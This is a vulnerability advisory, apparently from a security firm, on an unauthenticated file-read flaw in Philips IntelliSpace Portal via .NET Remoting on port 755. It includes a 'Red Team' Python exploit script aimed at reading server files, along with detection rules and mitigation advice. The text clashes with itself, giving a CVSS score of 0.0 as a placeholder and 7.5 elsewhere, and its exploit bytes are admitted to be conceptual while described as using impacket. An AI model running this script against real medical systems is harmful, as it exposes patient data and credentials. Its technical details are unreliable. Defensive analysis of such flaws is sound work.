CVE-2025-3424

Executive Summary

CVE-2025-3424 is a critical information disclosure vulnerability in Philips IntelliSpace Portal, version 12 and prior. The vulnerability resides in the .NET Remoting implementation, specifically on port 755. By leveraging the "Object Marshalling" technique, an unauthenticated attacker can craft specific .NET Remoting URLs derived from client-side configuration files to read arbitrary internal files from the server. This bypasses all authentication mechanisms and exposes sensitive data such as configuration files, patient records, and system credentials. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the lack of authentication and potential for data exfiltration. No patch is currently available from Philips.

Supply Chain & Package Security

This vulnerability is not related to open-source packages (NPM, PyPI, Go, Ruby). It is a proprietary .NET application vulnerability in a medical device software ecosystem. The supply chain risk is limited to the Philips IntelliSpace Portal software itself and its dependencies on .NET Remoting infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: None (I:N) – No modification capability.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated remote file read, which can lead to credential theft, patient data exposure, and further lateral movement within the healthcare network.

Deep Dive & Mechanics

The vulnerability exploits .NET Remoting, a legacy Microsoft technology for inter-process communication. IntelliSpace Portal uses .NET Remoting on port 755 for internal communication. The client-side configuration files (e.g., app.config, web.config) contain URLs and object URIs that define how the client connects to the server.

Object Marshalling is a technique where an attacker crafts a .NET Remoting message that deserializes a malicious object on the server. By manipulating the URI and the object type, the attacker can force the server to read arbitrary files from its filesystem and return the content in the response.

Attack Flow:

1. Enumeration: The attacker obtains the client-side configuration file (e.g., via a previous vulnerability or by analyzing the application installer). This file contains the .NET Remoting URL pattern, e.g., tcp://server:755/MyObject.
2. Crafting: The attacker creates a .NET Remoting message that specifies a different object type (e.g., System.IO.FileStream) and a URI that points to a local file (e.g., file:///C:/Windows/win.ini).
3. Exploitation: The attacker sends this crafted message to port 755. The server deserializes the object and, due to insecure deserialization, reads the specified file and returns its contents.
4. Data Exfiltration: The attacker receives the file content in the response.

Root Cause: The server does not validate the object type or the URI in the .NET Remoting message, allowing arbitrary file reads.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side .NET Remoting object
public class RemoteObject : MarshalByRefObject
{
    public object ProcessMessage(object request)
    {
        // Directly deserializes and processes the request without validation
        return DeserializeAndExecute(request);
    }
}

Patched Code (Hypothetical):

public class RemoteObject : MarshalByRefObject
{
    public object ProcessMessage(object request)
    {
        // Validate the object type and URI
        if (!IsAllowedType(request.GetType()) || !IsSafeUri(request.Uri))
        {
            throw new SecurityException("Invalid request");
        }
        return DeserializeAndExecute(request);
    }
}

Key Differences:

• Input Validation: Patched code validates the object type and URI against a whitelist.
• Authentication: Patched code requires authentication before processing any request.
• Deserialization: Patched code uses a safe deserialization library that restricts object types.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running IntelliSpace Portal v12 or earlier on port 755.
• Client-side configuration file (e.g., IntelliSpacePortal.exe.config) containing the .NET Remoting URL.

Exploit Code (Python using impacket or custom .NET Remoting client):

import socket
import struct

def craft_remoting_message(file_path):
    # Simplified .NET Remoting message structure
    # This is a conceptual example; actual implementation requires .NET Remoting protocol knowledge
    message = b"\x00\x01\x00\x00\x00\xff\xff\xff\xff"  # Header
    message += b"\x01\x00\x00\x00"  # Object type: FileStream
    message += file_path.encode() + b"\x00"
    return message

def exploit(target_ip, target_port, file_path):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    payload = craft_remoting_message(file_path)
    sock.send(payload)
    response = sock.recv(4096)
    print(f"File content: {response}")
    sock.close()

# Example usage
exploit("192.168.1.100", 755, "C:\\ProgramData\\Philips\\IntelliSpace\\config.xml")

Usage:

1. Run the script against the target IP.
2. Specify the file path to read (e.g., C:\Windows\System32\drivers\etc\hosts).
3. The script will output the file contents.

Blue Team

Detection Steps:

1. Monitor Port 755 Traffic: Use network monitoring tools to detect unusual .NET Remoting messages.
2. Log Analysis: Check Windows Event Logs for .NET Remoting errors or unusual object deserialization events.
3. File Integrity Monitoring: Monitor access to sensitive files (e.g., configuration files, patient data).
4. Honeypot: Deploy a decoy IntelliSpace Portal instance to capture exploitation attempts.

Mitigation:

• Network Segmentation: Restrict access to port 755 to only trusted IP addresses.
• Firewall Rules: Block inbound traffic to port 755 from untrusted networks.
• Application Whitelisting: Use AppLocker or similar to prevent unauthorized executables.

Indicators of Compromise (IOCs)

Network IOCs:

• Inbound connections to port 755 from unexpected IP addresses.
• .NET Remoting messages with unusual object types (e.g., System.IO.FileStream).
• Large outbound data transfers from the IntelliSpace Portal server.

File IOCs:

• Unauthorized access to C:\ProgramData\Philips\IntelliSpace\*.config files.
• Presence of temporary files created by .NET Remoting deserialization.

System IOCs:

• Event ID 1026 (Application Error) related to .NET Runtime.
• Event ID 1000 (Application Error) for IntelliSpacePortal.exe.
• Unusual processes spawning from the IntelliSpace Portal service.

Detection Engineering

YARA Rule

rule CVE_2025_3424_FileRead {
    meta:
        description = "Detects .NET Remoting messages attempting file read via Object Marshalling"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3424"
    strings:
        $remoting_header = { 00 01 00 00 00 FF FF FF FF }
        $file_stream = "System.IO.FileStream" nocase
        $file_uri = "file:///" nocase
    condition:
        $remoting_header at 0 and ($file_stream or $file_uri)
}

Sigma Rule

title: CVE-2025-3424 .NET Remoting File Read Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic to port 755 with .NET Remoting file read patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 755
        Protocol: 'tcp'
        Payload|contains: 'System.IO.FileStream'
    condition: selection
falsepositives:
    - Legitimate .NET Remoting file operations (rare)
level: high

Suricata Rule

alert tcp any any -> any 755 (msg:"CVE-2025-3424 .NET Remoting File Read Attempt"; flow:to_server; content:"|00 01 00 00 00 FF FF FF FF|"; content:"System.IO.FileStream"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect IntelliSpace Portal servers from untrusted networks.
2. Apply Firewall Rules: Block inbound traffic to port 755 from all IPs except trusted management stations.
3. Disable .NET Remoting: If possible, disable .NET Remoting and use a more secure communication protocol (e.g., WCF with HTTPS).

Long-Term Fix:

• Vendor Patch: Await an official patch from Philips that implements input validation and authentication for .NET Remoting.
• Upgrade: Upgrade to a version of IntelliSpace Portal that does not use .NET Remoting.
• Code Review: Conduct a security audit of all .NET Remoting endpoints in the application.

Workaround:

• Network Segmentation: Place IntelliSpace Portal in a separate VLAN with strict access controls.
• Application Firewall: Use a WAF or IPS to inspect and block malicious .NET Remoting messages.

Valters IT